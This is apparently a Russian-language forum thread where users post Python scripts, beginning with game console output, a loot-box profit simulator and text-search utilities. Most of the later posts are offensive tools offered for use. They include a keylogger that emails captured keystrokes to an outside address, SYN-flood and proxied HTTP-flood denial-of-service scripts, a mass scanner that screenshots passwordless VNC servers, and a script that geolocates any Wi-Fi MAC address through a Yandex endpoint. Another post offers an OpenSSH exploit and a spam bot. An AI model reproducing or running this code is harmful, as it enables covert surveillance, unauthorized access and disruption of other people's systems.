Вот тут я не проверил, смогу ли ещё раз крутануть. Попытки так-то закончились. Надо проверить.
#####

1 - оставляем 2 - крутим дальше : 1
ваши характеристики:

#####
Дальше несколько очепяток

Номер раз. Очепятка в конце строки
#####

-------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1131 | ат 21 - 25 | т 6 % | кр 11 %(* 1.2 ) | зщ 36 | ук 60 % | ка 5 %(* 1.4 ) | ϟ 147 / 147 + 15 /х |
-------------------------------------------------------------------------------------------------------------------
нажмите Enter
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 1 | МИН.ур 50 | МАК.ур 100 | ТОЧ 95% | КРТ 10% | КА 20% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 2 | МИН.ур 1 | МАК.ур 150 | ТОЧ 95% | КРТ 10% | КА 20% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 3 | МИН.ур 75 | МАК.ур 75 | ТОЧ 95% | КРТ 10% | КА 20% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 4 | МИН.ур 70 | МАК.ур 140 | ТОЧ 75% | КРТ 10% | КА 20% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 5 | МИН.ур 10 | МАК.ур 210 | ТОЧ 75% | КРТ 10% | КА 20% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 6 | МИН.ур 105 | МАК.ур 105 | ТОЧ 75% | КРТ 10% | КА 20% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 7 | МИН.ур 90 | МАК.ур 180 | ТОЧ 55% | КРТ 10% | КА 20% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 8 | МИН.ур 20 | МАК.ур 270 | ТОЧ 55% | КРТ 10% | КА 20% |

#####
Номер два и три
#####

-------------------[92m------------------------------------------------------------------------------------------------
| НАЖМИТЕ 9 | МИН.ур 135 | МАК.ур 135 | ТОЧ 55% | КРТ 10% | КА 20% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 10 | МИН.ур 40 | МАК.ур 85 | ТОЧ 95% | КРТ 20% | КА 40% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 11 | МИН.ур 1 | МАК.ур 130 | ТОЧ 95% | КРТ 20% | КА 40% |
-----------------------------[0m--------------------------------------------------------------------------------------
| НАЖМИТЕ 12 | МИН.ур 62 | МАК.ур 62 | ТОЧ 95% | КРТ 20% | КА 40% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 13 | МИН.ур 58 | МАК.ур 121 | ТОЧ 75% | КРТ 20% | КА 40% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 14 | МИН.ур 4 | МАК.ур 184 | ТОЧ 75% | КРТ 20% | КА 40% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 15 | МИН.ур 89 | МАК.ур 89 | ТОЧ 75% | КРТ 20% | КА 40% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 16 | МИН.ур 76 | МАК.ур 157 | ТОЧ 55% | КРТ 20% | КА 40% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 17 | МИН.ур 13 | МАК.ур 238 | ТОЧ 55% | КРТ 20% | КА 40% |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 18 | МИН.ур 121 | МАК.ур 121 | ТОЧ 55% | КРТ 20% | КА 40% |
-------------------------------------------------------------------------------------------------------------------

Выберете ОРУЖИЕ
ваши характеристики:

#####
Четыре. И тут я не уверен насчёт /x в конце строк
#####

-[92m------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1131 | ат 21 - 25 | т 6 % | кр 11 %(* 1.2 ) | зщ 36 | ук 60 % | ка 5 %(* 1.4 ) | ϟ 147 / 147 + 15 /х |
-------------------------------------------------------------------------------------------------------------------
1 - 18 : 28
ведите значение от 1 до 18
ваши характеристики:
-------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1131 | ат 21 - 25 | т 6 % | кр 11 %(* 1.2 ) | зщ 36 | ук 60 % | ка 5 %(* 1.4 ) | ϟ 147 / 147 + 15 /х |
-------------------------------------------------------------------------------------------------------------------
1 - 18 : -0
ведите значение от 1 до 18
ваши характеристики:
-------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1131 | ат 21 - 25 | т 6 % | кр 11 %(* 1.2 ) | зщ 36 | ук 60 % | ка 5 %(* 1.4 ) | ϟ 147 / 147 + 15 /х |
-------------------------------------------------------------------------------------------------------------------
1 - 18 : 0
ведите значение от 1 до 18
ваши характеристики:
-------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1131 | ат 21 - 25 | т 6 % | кр 11 %(* 1.2 ) | зщ 36 | ук 60 % | ка 5 %(* 1.4 ) | ϟ 147 / 147 + 15 /х |
-------------------------------------------------------------------------------------------------------------------
1 - 18 : qwe
введите значение от 1 до 18
ваши характеристики:
-------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1131 | ат 21 - 25 | т 6 % | кр 11 %(* 1.2 ) | зщ 36 | ук 60 % | ка 5 %(* 1.4 ) | ϟ 147 / 147 + 15 /х |
-------------------------------------------------------------------------------------------------------------------
1 - 18 : 13
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 1 | ЖИЗ 50 | УКЛ 4% | ЗАЩ 10 | коэф.КР 1 | коэф.КА 1 |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 2 | ЖИЗ 50 | УКЛ 7% | ЗАЩ 5 | коэф.КР 0.7 | коэф.КА 0.7 |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 3 | ЖИЗ 100 | УКЛ 2% | ЗАЩ 5 | коэф.КР 0.7 | коэф.КА 0.7 |
-------------------------------------------------------------------------------------------------------------------

#####
Шрифт поломался
#####

| НАЖМИТЕ 4 | ЖИЗ 50 | УК�� 2% | ЗАЩ 20 | коэф.КР 0.7 | коэф.КА 0.7 |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 5 | ЖИЗ -25 | УКЛ 10% | ЗАЩ -5 | коэф.КР 0.5 | коэф.КА 0.5 |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 6 | ЖИЗ 200 | УКЛ -2% | ЗАЩ -5 | коэф.КР 0.5 | коэф.КА 0.5 |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 7 | ЖИЗ -25 | УКЛ -2% | ЗАЩ 30 | коэф.КР 0.5 | коэф.КА 0.5 |
-------------------------------------------------------------------------------------------------------------------

Выберете БРОНЮ
ваши характеристики:
-------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1131 | ат 79 - 146 | т 81 % | кр 31 %(* 1.2 ) | зщ 36 | ук 60 % | ка 45 %(* 1.4 ) | ϟ 147 / 147 + 15 /х |
-------------------------------------------------------------------------------------------------------------------
1 - 7 : -0
ведите значение от 1 до 7
ваши характеристики:
-------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1131 | ат 79 - 146 | т 81 % | кр 31 %(* 1.2 ) | зщ 36 | ук 60 % | ка 45 %(* 1.4 ) | ϟ 147 / 147 + 15 /х |
-------------------------------------------------------------------------------------------------------------------
1 - 7 : qwe
введите значение от 1 до 7
ваши характеристики:
-------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1131 | ат 79 - 146 | т 81 % | кр 31 %(* 1.2 ) | зщ 36 | ук 60 % | ка 45 %(* 1.4 ) | ϟ 147 / 147 + 15 /х |
-------------------------------------------------------------------------------------------------------------------
1 - 7 : 4
ваши характеристики:

#####
А тут я сломал характеристику КА :)
#####

-------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1181 | ат 79 - 146 | т 81 % | кр 31 %(* 1.9 ) | зщ 56 | ук 62 % | ка 45 %(* 2.0999999999999996 ) | ϟ 147 / 147 + 15 /х |
-------------------------------------------------------------------------------------------------------------------
1 - оставить 2 - переделать все с самого начала: 1
 
S

sasha20l

Программка просчитывает прибыль от донатских лутбоксах в онлайн играх, или-же убыль.

Как работает программа:
1) Вы вводите затраченную стоимость одного сундука
2) Указываете сколько в сундуке вещей
3) Указываете у каждой вещи процент выпадения и рыночную стоимость.
4) А теперь просто указываете сколько необходимо открыть сундуков - 1,5,20,100,10000 ....
5) Программа эмулирует вскрытие, подсчитывает прибыли и затраты.
6) Выдает Вам полную информацию о эффективности вскрытия и процент отбития Ваших денег.

Код:
import random



listt = []
num = 0
collvo = 0
stoimost = 0
sun = 0
suma = 0
def inp(num):
    while True:
        try:
            num = int(input(" :"))
            return num
        except:
            print("необходимо ввести целое числовое значение")
def inp_p(num):
    while True:
        try:
            num = float(input(" :"))
            return num
        except:
            print("попробуйте ввести числовое значение, но уже сразу без стираний итд")
def dobpred(item):
    num = 0
    print("введите название предмета ",item+1)
    num = str(input(" :"))
    listt.append([0,0,num,0,0])
    print("введите стоимость предмета ",item+1," в юанях")
    num = inp(num)
    listt[item][1]=num
    print("введите шанс выподения предмета ",item+1,"без знака % (пример - 1.25)")
    num = inp_p(num)
    listt[item][0] = num

def info():
    pozition = 0
    print("\n")
    for item in listt:
        pozition = pozition + 1
        print(pozition,":Предмет ",item[2]," шанс выпадения ",item[0],"% стоимость ",item[1]," юаней. Выпало ",item[3]," шт")
    print("\n")
print("~sasha20~"*5,"\n")
def randos(sun):
    global collvo
    for sunduk in range(sun):
        while True:
            x = 0
            random_ = (random.random())*1000000
            for items in listt:
                if random_ <= ((items[0])*10000)+items[4]*10000:
                    items[3]=items[3]+1
                    collvo = collvo + 1
                    x = 1
                    break
                
            if x == 1:
                break
def izmen():
    for izm in listt:
        izm_inoy = listt[(listt.index(izm))-1]
        if izm == listt[0]:
            izm_inoy = [0,0,0,0,0]
        izm[4]=izm[4]+izm_inoy[0]+izm_inoy[4]

def redak():
    num = 0
    while True:
        print("1 - удалить предмет. 2 - добавить предмет. 3 - назад")
        num = inp(num)
        if num == 3:
            break
        if num == 2:
            num = 0
            print("введите название предмета ",len(listt)+1)
            num = str(input(" :"))
            listt.append([0,0,num,0,0])
            print("введите стоимость предмета ",len(listt)," в юанях")
            num = inp(num)
            listt[len(listt)-1][1]=num
            print("введите шанс выподения предмета ",item+1,"без знака % (пример - 1.25)")
            num = inp_p(num)
            listt[len(listt)-1][0] = num
            info()
        if num == 1:
            while True:
                print("какой предмет удалить","1 -",len(listt)," назад - ",len(listt)+1)
                num = inp(num)
                if num == len(listt)+1:
                    break
                del listt[num-1]
                info()
def suma_m(suma):
    for many_listt in listt:
       suma = (many_listt[3]*many_listt[1])+suma
    return suma
    
print("введите стоимость одного сундука в юанях")
stoimost = inp(num)
print("введите количество вещей в сундучке")
collvo = inp(num)
for item in range(collvo):
    dobpred(item)
while True:
    info()
    print("что-то хотите изменить? 1 - оставить как есть. 2 - редактировать.")
    num = inp(num)
    if num == 1:
        break
    if num == 2:
        redak()
collvo = 0
listt = sorted(listt)
izmen()
while True:
    print("сколько сундуков открываем? желательно не более 10000 за раз")
    sun = inp(num)
    randos(sun)
    suma = suma_m(suma)
    info()
    print("при открытии ",collvo," cундуков Вы заработали =",suma," юаней")
    print("а потратили",stoimost*collvo," юаней")
    print("вы отбили ",(suma/(stoimost*collvo))*100,"% от затраченного")
    suma = 0
    for tr in listt:
        tr[3]=0
    collvo = 0
 
  • Нравится
Реакции: Tihon49 и mz111

m0nstr

Green Team
19.06.2018
95
71
BIT
0
увидел ветку, и решил внести свои 5 копеек...
у yaндексов был обнаружен баг/небаг, дырка/недырка, паблик/приват ссылка, которая при определенном запросе и подстановке mac-адреса wifi-тд ищет в своей бд координаты и радостно их возвращает в xml. все компетентные люди об этом давно знают, темнеменее "услуга" доступна любому желающему по сей день.
не стал ничего искать в инете, а просто накидал парсер, юзайте кому интересно )
Код:
import sys
import requests
import xml.etree.ElementTree as ET

mac = sys.argv[1]
mac = mac.replace(':','')
mac = mac.replace('-','')
mac = mac.replace(' ','')

r = requests.get('http://mobile.maps.yandex.net/cellid_location/?clid=-1&lac=-1&cellid=-1&operatorid=null&countrycode=null&signalstrength=-1&wifinetworks='+mac+':-65&app')

er0 = r.text.find('error')
if er0 > 0: sys.exit('Not found')

xml = ET.fromstring(r.text)

latitude = (xml.find('./coordinates').attrib['latitude'])
longitude = (xml.find('./coordinates').attrib['longitude'])
nlatitude = (xml.find('./coordinates').attrib['nlatitude'])
nlongitude = (xml.find('./coordinates').attrib['nlongitude'])

#print(latitude+' '+longitude)
#print(nlatitude+' '+nlongitude)

print('https://maps.yandex.ru/?text='+latitude+','+longitude)
 
Последнее редактирование:

Tihon49

Green Team
06.01.2018
193
120
BIT
0
увидел ветку, и решил внести свои 5 копеек...
у yaндексов был обнаружен баг/небаг, дырка/недырка, паблик/приват ссылка, которая при определенном запросе и подстановке mac-адреса wifi-тд ищет в своей бд координаты и радостно их возвращает в xml. все компетентные люди об этом давно знают, темнеменее "услуга" доступна любому желающему по сей день.
не стал ничего искать в инете, а просто накидал парсер, юзайте кому интересно )
Код:
import sys
import requests
import xml.etree.ElementTree as ET

mac = sys.argv[1]
mac = mac.replace(':','')
mac = mac.replace('-','')
mac = mac.replace(' ','')

r = requests.get('http://mobile.maps.yandex.net/cellid_location/?clid=-1&lac=-1&cellid=-1&operatorid=null&countrycode=null&signalstrength=-1&wifinetworks='+mac+':-65&app')

er0 = r.text.find('error')
if er0 > 0: sys.exit('Not found')

xml = ET.fromstring(r.text)

latitude = (xml.find('./coordinates').attrib['latitude'])
longitude = (xml.find('./coordinates').attrib['longitude'])
nlatitude = (xml.find('./coordinates').attrib['nlatitude'])
nlongitude = (xml.find('./coordinates').attrib['nlongitude'])

#print(latitude+' '+longitude)
#print(nlatitude+' '+nlongitude)

print('https://maps.yandex.ru/?text='+latitude+','+longitude)

не понял, куда писать bssid ?

error:
mac = sys.argv[1]
^
SyntaxError: invalid syntax
 

Tihon49

Green Team
06.01.2018
193
120
BIT
0
тут же сказано: синтаксическая ошибка. компилятор попросту не знает что это за чудо юдо. изправляется первой строчкой в виде
Код:
#!/usr/bin/env python3
Спасибо. Не знал что всё так просто. Только изучаю питон. Всё думал на кой хрен в начале программ пишут эту абру-кадабру )))))
 

mz111

Green Team
20.08.2017
77
73
BIT
0
Скрипт для поиска незапароленных vnc серверов.
IP адреса берёт из файла vnc.txt, в случае коннекта делает скриншот и выводит сообщение.
Коннектится к 5900 и 5901 портам, номер порта указывается после запуска скрипта.
Часто показывает исключение "raise error.reactoralreadyrunning()", буду благодарен тому кто подскажет как это устранить.
Версия: Python 2.7
Python:
#!/usr/bin/python
from termcolor import colored
from threading import Thread
from vncdotool import api
display = raw_input("\nEnter vnc display(0 = 5900 vnc server port,1 = 5901 vnc server port): ")
def connect(host,display):
    try:
        client = api.connect('{}:{}'.format(host,display), password=None)
    except:
        pass
    else:
        try:
            client.captureScreen('{}.png'.format(host))
        except:
            pass
        else:
            print colored("\n\t      Connected to " + host,'red')
if __name__ == "__main__":
    with open('vnc.txt','r') as hosts:
        for host in hosts:
            thread = Thread(target=connect,args=(host,display))   
            thread.start()
 
Последнее редактирование:
  • Нравится
Реакции: Tihon49

Tihon49

Green Team
06.01.2018
193
120
BIT
0
Скрипт для обхода текстового файла (путь задается в процессе) и поиска в нём заданного значения.
принимается значение как с учетом регистра, так и поиск всех совпадений без учета регистра (переводит всё в верхний регистр).
Далее всё записывается в файлик output.exe, который создается/перезаписывается автоматически, в папке с нашим скриптом, ну и показывает сколько всего совпадений было найдено.

Код:
file = input('путь до файла: ') # вводим путь до файла
out = ("output.txt") # название файла для записи (создастся сам/перезапишется)

def vibor(): # функция для выбора варианта поиска
    chose = int(input('Искать с учетом регистра      -1: \nИскать все возможные варианты -2:'+'\n(перевод в верхний регистр)' + '\n'))
    if chose == 1:
        main_orig()
    elif chose == 2:
        main_high()
    else:
        print('\n\nПринимаеются только варианты 1 и 2!')
        vibor()


def main_orig(): # определение функции для поиска с учетом регистра
    input_filename = open(file, 'r', encoding = 'Latin-1') #открытие файла для чтения
    output_filename = open(out, 'w', encoding = 'Latin-1') #открытие файла для записи
    lines = input_filename.readlines() #переменная для чтения открытого файла построчно
    input_filename.close() #закрытия файла для чтения
    countName = 0 #переменная для счетчика
    b = input('Введите значение для поиска: ')#пер-ая для ввода зн-я для поиска

    for line in lines: #запускаем перебор строк
        line = line.strip() #.strip перенос по строкам БЕЗ лишнего ентера
                            # без .upper() для поиска "как есть"
        if line.find(b) != -1: # хз зачем тут '!= -1', но иначе не считает как надо
                               # ищет заданное зн-е в строках
            print(line) #выводит на экран найденное зн-е. можно убрать.
            output_filename.write(line + '\n') # запись в файл
            countName = countName +1 # счетчик +1
    output_filename.close() # закрываем файл для записи
    print('\n' + b, 'встречается в тексте (раз): ', countName) # вывод

def main_high(): # определение функции для поиска всех совпадений, без учета регистра
    input_filename = open(file, 'r', encoding = 'Latin-1') #открытие файла для чтения
    output_filename = open(out, 'w', encoding = 'Latin-1') #открытие файла для записи
    lines = input_filename.readlines() #переменная для чтения открытого файла построчно
    input_filename.close() #закрытия файла для чтения
    countName = 0 #переменная для счетчика
    b = input('Введите значение для поиска: ')#пер-ая для ввода зн-я для поиска

    for line in lines: #запускаем перебор строк
        line = line.strip().upper() #.strip перенос по строкам БЕЗ лишнего ентера
                                    # можно закомментить .upper() для поиска "как есть", что было сделанно выше
        b = b.upper() #.upper переводит значение в верхний регистр
                      # можно закомментить .upper() для поиска "как есть", опять же выше так делал (там убрал вообще)
        if line.find(b) != -1: # хз зачем тут '!= -1', но иначе не считает как надо
                               # ищет заданное зн-е в строках
            print(line) #выводит на экран найденное зн-е
            output_filename.write(line + '\n') # запись в файл
            countName = countName +1 # счетчик +1
    output_filename.close() # закрываем файл для записи
    print('\n' + b, 'встречается в тексте (раз): ', countName) # вывод

vibor() # собственно обращаемся к функции выбора.

Грустный скрипт для расчета сказачной ситуации, при которой мы представляем ситуацию что получая "белую" зарплату наши пенсионные отчисления (22%) идут не в ПФР, а на счет в банк "N" под 7% годовых. В расчет принимается капитализация. После чего выводится сумма накопленых денег на счете, и сказочный вариант с цифрами того, какую пенсию мы бы получали, живя только на проценты (те же 7%) от всех наших накоплений. Плюс вариант снять все и посмотреть на сколко лет можно все это растянуть и сколько при этом в месяц денег будет получаться.

Код:
def raschet():
    zp = int(input('средняя зарплата в месяц: ')) * 12
    pension = (zp * 1.22) - zp
    bank = pension
    years = int(input('количество лет (рабочих): '))
    for i in range(years):
        bank *= 1.07
        bank += pension
    print('всего начислений в банке (включая капитализацию): ', int(bank), 'руб.')
    procenti = (bank * 1.07 - bank) / 12
    print('если жить только на проценты, то получится: ', int(procenti), 'руб. в месяц')
    vopros = int(input('\nа если снять всю сумму и жить на нее...\nсколько лет планируешь прожить на пенсии? ')) * 12
    print('итого в месяц пенсия будет: ', int(bank / vopros), 'руб.')


raschet()

Выше был описан парсер в текстовом файле. После чего родилась идея сделать парсер, который бы получал путь до папки, значение которое нужно найти, и сам обходил всё её содержимое, влючая подпапки и находящиеся там файлы, с выводом процесса в терминале (командной строке) и записью найденного в файл "output.txt"

Python:
import os

path = input('Введите путь до папки: ')
znach = input('Введите значение для поиска: ')
file = ''
out = 'output.txt'

def obhod(path):     # функция для обхода директорий
    for i in os.listdir(path):      # обход указанной директории
        output_filename = open(out, 'a', encoding = 'Latin-1') #открытие файла в режиме записи/добавления
        put = path + '/' + i     # переменная в которую записывается путь до файла + '/' + название файла: (i)
        if os.path.isfile(put):      #  если i-является файлом, то:
            print(i, '   <== найден файл')     # выводит название файла и наш комментарий  "   <== найден файл"
            file = open(put, 'r', encoding = 'Latin-1') # переменная для открытия в режиме чтения найденного файла
            lines = file.readlines()     # переменная для чтения открытого файла построчно
            file.close()     # закрытие файла открытого в режиме для чтения
            for line in lines:         # обход строк из файла открытого в режиме для чтения
                line = line.strip()     # для отображения каждой строки с переносом на новую строку
                if line.find(znach) != -1:       # если в строке находится заданное нами значение, то:
                    print(line)      # выводит на экран строку с найденным совпадением
                    output_filename.write(line + '\n')      # запись найденной строки в файл открытый в режиме записи/добавления


        if os.path.isdir(path + '/' + i):       # если i-является папкой, то:
            obhod(put)      # запускаем функцию обхода заново, с указанием пути (put)
                            # таким образом мы обходим все папки

        output_filename.close()       # закрытие файла открытого в режиме записи/добавления

obhod(path)    # вызов функции

З.Ы. Хотел добавить возможность вывода и записи не только найденной строки но и двух (нужное указать) строк ниже найденной. Пробовал через счетчик, но ничего не получилось. Если кто знает как допилить, буду очень признателен.

Нужна помощь со скриптом!

Суть скрипта в том чтобы:
  1. найти в папке все словари и создать отдельный файл (Bad.txt) со всеми найденными паролями
  2. пройтись по вновь созданному файлу, избавиться от повторяющихся паролей и записать уникальные пароли в файл Good.txt
  3. пройтись по файлу Good.txt и выбрать из него пароли нужной нам длинны (опционально) и записать все в User_length.txt

В принципе все работает, но обратил внимание что на этапе №2 в файл Good.txt могут не записаться некоторые уникальные пароли, пропускает почему-то. Кто подскажет почему так?!
 
Последнее редактирование:
  • Нравится
Реакции: mz111

darklight

Green Team
18.10.2018
45
72
BIT
2
Нужна помощь со скриптом!

Суть скрипта в том чтобы:
  1. найти в папке все словари и создать отдельный файл (Bad.txt) со всеми найденными паролями
  2. пройтись по вновь созданному файлу, избавиться от повторяющихся паролей и записать уникальные пароли в файл Good.txt
  3. пройтись по файлу Good.txt и выбрать из него пароли нужной нам длинны (опционально) и записать все в User_length.txt

В принципе все работает, но обратил внимание что на этапе №2 в файл Good.txt могут не записаться некоторые уникальные пароли, пропускает почему-то. Кто подскажет почему так?!

этот код будет работать, только если размер словарей такой, что поместится в оперативку
часто словари весят гигабайты
когда то писал похожий скрипт по сбору emails, хотел тут пост сделать, так до сих пор не соберусь
там вместо текстового файла БД sqlite использую, и поле в которое ложу данные разрешает вставку только уникальных записей
а файлы читаю и пишу построчно, тогда размер файлов не имеет значения
 
  • Нравится
Реакции: Tihon49

Tihon49

Green Team
06.01.2018
193
120
BIT
0
Нужна помощь со скриптом!

Суть скрипта в том чтобы:
  1. найти в папке все словари и создать отдельный файл (Bad.txt) со всеми найденными паролями
  2. пройтись по вновь созданному файлу, избавиться от повторяющихся паролей и записать уникальные пароли в файл Good.txt
  3. пройтись по файлу Good.txt и выбрать из него пароли нужной нам длинны (опционально) и записать все в User_length.txt

В принципе все работает, но обратил внимание что на этапе №2 в файл Good.txt могут не записаться некоторые уникальные пароли, пропускает почему-то. Кто подскажет почему так?!

Проблема решилась очень просто: все полученные значения привел к множеству командой set()
Капец блин ))))))

кому нужно, вот ссыЛЬка:

Кейлогер с отправкой логов на почту.


Python:
import pynput           # sudo pip3 install pynput

from pynput.keyboard import Key, Listener

import smtplib

from email.mime.text import MIMEText

from email.mime.base import MIMEBase

from email.mime.multipart import MIMEMultipart

from email import encoders

 

 

log = 'log.txt'

count = 0

keys = []

 

# считывание нажатий

def on_press(key):

    global keys, count

    try:

        keys.append(key)

        count += 1

        print('{0} pressed'.format(key))

 

        if count >= 10:

            write_file(keys)

            keys = []

        if count >= 200:

            count = 0

            send_mail()

            on_press(key)

    except:

        exit = input('Нажмите ENTER чтобы выйти из программы.... ')

 

# запись в log.txt

def write_file(keys):

    try:

        with open(log, 'a') as f:

            for key in keys:

                k = str(key).replace("'", '')

                if k.find('enter') > 0:

                    f.write('\n')

                if k.find('space') > 0:

                    f.write(' ')

                if k.find('.shift') > 0:

                    f.write(' [SHIFT] ')

                if k.find('.esc') > 0:

                    f.write(' [Esc] ')

                if k.find('.backspace') > 0:

                    f.write(' [BACKSPASE] ')

                if k.find('.tab') > 0:

                    f.write(' [TAB] ')

                if k.find('.up') > 0:

                    f.write(' [↑] ')

                if k.find('.left') > 0:

                    f.write(' [←] ')

                if k.find('.right') > 0:

                    f.write(' [→] ')

                if k.find('.down') > 0:

                    f.write(' [↓] ')

                elif k.find('Key') == -1:

                    f.write(k)

    except:

        exit = input('Нажмите ENTER чтобы выйти из программы.... ')

 

 

# отсылаем log.txt на почту

def send_mail():

    MAIL_USERNAME = 'адрес_почты_без_собаки_и_т.д.'

    MAIL_PASSWORD = 'Пар0ль_от_почтового_ящика'

    subject = 'Python_Script'

 

    FROM = MAIL_USERNAME

    TO = 'полный_адрес_получателя'

 

    # теперь можно использовать кириллицу

    msg = MIMEMultipart()

    msg['From'] = FROM

    msg['To'] = TO

    msg['Subject'] = subject

 

    body = 'This is a result of my python script working!!!'

    msg.attach(MIMEText (body, 'plain'))

 

    filename = 'log.txt'

    attachment = open(filename, 'rb')

 

    part = MIMEBase('application', 'octet-stream')

    part.set_payload((attachment).read())

    encoders.encode_base64(part)

    part.add_header('Content-Disposition', 'attachment; filename= ' + filename)

 

    msg.attach(part)

    text = msg.as_string()

    server = smtplib.SMTP('smtp.gmail.com', 587)

    server.starttls()

    server.login(MAIL_USERNAME, MAIL_PASSWORD)

 

    server.sendmail('почта_отправителя_но_уже_полностью(см._MAIL_USERNAME)',TO, text)

    server.quit()

 

try:

    with Listener(on_press=on_press) as listener:

        listener.join()

        send_mail()

except:

        exit = input('Нажмите ENTER чтобы выйти из программы.... ')
 
  • Нравится
Реакции: Mad Snail и mz111

mz111

Green Team
20.08.2017
77
73
BIT
0
Микроскрипт для повышения мощности адаптеров Alfa Awus с 20 до 30 dBm,может быть кому то понадобится.

Python:
#!/usr/bin/python3
import os
os.system('ip link set wlan0 down')
os.system('iw reg set BZ')
os.system('iw dev wlan0 set txpower fixed 30mBm')
os.system('ip link set wlan0 up')
 
  • Нравится
Реакции: Tihon49
N

NNullday

Написал недавно скрипт на переполнения буфера для openssh последней версии 7.9
Может кому нить пригодится
Могу скинуть
Так же спамер для ютуба по запросам
Обходит защиту от спама
Ну и dos скрипт syn flood и http flood работает последний с проксями

Dos(syn flood) работает хорошечно

Python:
import sys
from scapy.all import *
import random
from termcolor import colored

def randomip():
   randome_ip = str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
   return randome_ip


def randominteger():
   print(random.randint(1000,9000))
   return 0

def syn_flood(addr,port_dst,counter):
   rands_port = randominteger()
   b = randominteger()
   c = randominteger()
   i = 0
   while i < int(counter):
      IP_Packet = IP()
      IP_Packet.src = randomip()
      IP_Packet.dst = addr
      
      TCP_Pack = TCP()
      TCP_Pack.sport = rands_port
      TCP_Pack.dport = int(port_dst)
      TCP_Pack.flags = "S"
      TCP_Pack.seq = b
      TCP_Pack.window = c
      send(IP_Packet/TCP_Pack, verbose=0)
      print(colored("Send packet to "+addr+":"+str(port_dst)+" number pack is "+str(i)),'green')
      i = i + 1

if len(sys.argv) < 3:
   print(colored("[!] Usage 3 arguments",'red'))
   print(colored("[*] python3 script.py <host> <port> <counter_packet>",'green'))
host = sys.argv[1]
port = sys.argv[2]
counter = sys.argv[3]
syn_flood(host,port,counter)

HTTP Flood, самый мощный мой скрипт для Dos-атаки
Python:
import requests
import random
import threading
import time
url = "ваш_сайт"
ua = ['Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)',
      'Chrome/71.0.3578.98 Safari/537.36',
      'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36',
      'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
      'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
      'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E' ]
x = 0
y = len(ua)
f = open('путь_до_файла_с_прокси','r')
line = f.readlines()
i = 0
print('Считываем строки ....')
time.sleep(1)
while True:
    try:
        print(line[i])
        i = i + 1
    except IndexError:
        break
print('найденно '+str(i) + ' строк')
string_i = i - 1
def dos():
    while True:
        prox_peremen = line[random.randint(0,string_i)]
        proxy = {
            "http": prox_peremen.strip()
        }
        head = {
        'User-Agent': ua[random.randint(0, len(ua) - 1)] }
        response = requests.get(url,headers=head,proxies=proxy)
        print(response.status_code)
while True:
    threading.Thread(target=dos).start()
 

mz111

Green Team
20.08.2017
77
73
BIT
0
Скрипт показывает заголовки в ответах серверов,в Search нужно ввести нужное название сервера(например nginx, DNVRS-Webs(вебкамеры) и т п). Работает лучше с небольшими диапазонами (250-1000 адресов), ip найденных серверов сохраняет в файл.

Python:
#!/usr/bin/python3
from termcolor import *
import threading
import requests
from netaddr import *
w = open('ip.txt','w')
s = input('\n\t     Search: ')
def scan(host,i):
    try:
        r = requests.get('http://{}'.format(host))
    except:
        pass
    else:
        try:
            q = r.headers['{}'.format(i)]
        except:
            pass
        else:
            print('\n\t     s --> ',host,q)
            if q == s:
                print(colored('\n\t     FOUND: ','red'))       
                print(host,q)
                w.write(host + '\n')   
ipStart, ipEnd = input("\n\t     Enter IPRANGE: ").split(" - ")
hosts = iter(IPRange(ipStart, ipEnd))
i = 'server'
if __name__ == '__main__':
    for ip in hosts:
        host = str(ip)
        t = threading.Thread(target=scan, args=(host,i))
        t.start()
w.close()
exit()
 
  • Нравится
Реакции: Tihon49 и Rand0m_M

Your 2B wify

Green Team
01.06.2018
96
21
BIT
0
Написал недавно скрипт на переполнения буфера для openssh последней версии 7.9
Может кому нить пригодится
Могу скинуть
Так же спамер для ютуба по запросам
Обходит защиту от спама
Ну и dos скрипт syn flood и http flood работает последний с проксями

Dos(syn flood) работает хорошечно

Python:
import sys
from scapy.all import *
import random
from termcolor import colored

def randomip():
   randome_ip = str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
